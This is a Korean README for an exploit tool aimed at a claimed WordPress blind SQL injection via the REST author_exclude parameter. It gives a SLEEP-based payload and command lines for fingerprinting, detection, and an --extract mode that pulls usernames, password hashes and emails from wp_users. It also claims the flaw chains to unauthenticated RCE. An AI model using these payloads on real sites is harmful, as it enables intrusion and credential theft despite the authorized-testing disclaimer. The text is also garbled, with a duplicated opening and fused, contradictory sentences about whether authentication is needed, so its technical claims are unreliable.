
CVE-2026-60137용 비파괴적 개념 증명 및 검증 하네스로, REST API의 `author_exclude` 매개변수를 통해 접근 가능한 WordPress 코어(`WP_Query::author__not_in`)의 블라인드 SQL 인젝션입니다.
CVE-2026-60137에 대한 비파괴적 개념 증명(proof-of-concept) 및 검증 하네스입니다. WordPress 코어(WP_Query::author__not_in)의 블라인드 SQL 인젝션으로, REST API의 author_exclude 파라미터를 통해 도달할 수 있습니다.
WP_Query::get_posts()는 author__not_in 쿼리 변수를 문자열로 연결하여 SQL을 생성합니다:
... AND {wpdb->posts}.post_author NOT IN ( <value> )
이 값은 배열(array)로 전달될 때에만 요소별 absint로 정화(sanitize)됩니다. 스칼라 문자열이 전달되면 — REST의 author_exclude 파라미터는 내부적으로 author__not_in에 매핑됩니다 — is_array() 정화 가드가 건너뛰어지고 원시 문자열이 그대로 NOT IN (...) 절 안에 들어가 SQL 인젝션이 발생합니다 (CWE-89).
1) OR SLEEP(6)# 형태의 페이로드는 다음을 생성합니다:
post_author NOT IN ( 1) OR SLEEP(6)# )
이는 post_author NOT IN (1) OR SLEEP(6)로 파싱됩니다(끝의 )는 # 주석에 의해 소비됩니다) — 데이터베이스에 쓰기 작업이 전혀 없는 깔끔한 시간 기반 블라인드 오라클입니다.
/wp-json/batch/v1 라우트 혼동을 통해 인증 없이 싱크에 도달할 수 있습니다.author_exclude를 거부(HTTP 400)하므로, 싱크는 일반적으로 플러그인/테마가 신뢰할 수 없는 입력을 전달하거나 배치 라우트를 통한 인증된 세션(--cookie)으로만 도달할 수 있습니다.cve_2026_60137_poc.py는 데이터베이스에 대해 읽기 전용입니다:
readme.html, /wp-json/ 인덱스)을 식별하여 버전이 영향 범위에 속하는지 확인합니다.SLEEP(0) 파싱 대조군, SLEEP(n) 페이로드를 여러 전달 벡터(직접 REST 라우트, ?rest_route=, 배치 엔드포인트)에 걸쳐 비교하고 벡터별 판정을 보고합니다.wp_users 행(user_login, user_pass, user_email)을 추출합니다. 엄격히 SELECT/SLEEP만 사용하며 데이터베이스에 절대 쓰지 않습니다.# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe
# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
이 도구는 승인된 보안 테스트 전용으로 제공됩니다 — 침투 테스트, CTF, 그리고 귀하가 소유하거나 평가에 대한 명시적 서면 허가를 받은 시스템을 대상으로 한 연구를 위한 것입니다. 승인 없이 시스템을 대상으로 실행하는 것은 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.
--json-out으로 기록되는 모든 출력에는 테스트한 URL, 버전 핑거프린트, 타이밍 증거가 포함될 수 있습니다 — 민감한 엔게이지먼트(engagement) 데이터로 취급하십시오.
| 영향 대상 | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| 수정 버전 | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (단독 싱크) |
| 체이닝 시 | CVE-2026-63030(REST 배치 라우트 혼동)과 연계 → 6.9.0 – 7.0.1에서 9.8 비인증 RCE |
| Flag | 기본값 | 설명 |
|---|
--url | 필수 | 대상 기본 URL |
--safe | off | 핑거프린팅만 수행하고 페이로드를 보내지 않음 |
--sleep | 6 | 탐지 오라클이 사용하는 SLEEP() 시간(초) |
--samples | 3 | 측정당 타이밍 샘플 수(중앙값 사용) |
--threshold | 0.7 | 양성 델타로 간주하는 --sleep의 비율 |
--extract | off | 블라인드 오라클로 wp_users 행 추출 |
--user-id | 1 | 추출할 wp_users.ID |
--extract-sleep | 2.0 | 추출 프로브당 SLEEP() 시간(초) |
--limit | 64 | 추출 필드당 최대 문자 수 |
--only-vector | — | 이름에 이 문자열이 포함된 벡터만 테스트 |
--cookie | — | 인증이 필요한 벡터용 인증 쿠키 |
--proxy | — | HTTP(S) 프록시, 예: http://127.0.0.1:8080 (Burp) |
--timeout | 30 | 요청 제한 시간(초) |
--no-verify-tls | off | TLS 인증서 검증 비활성화 |
--json-out | — | 기계가 읽을 수 있는 증거를 JSON 파일에 저장 |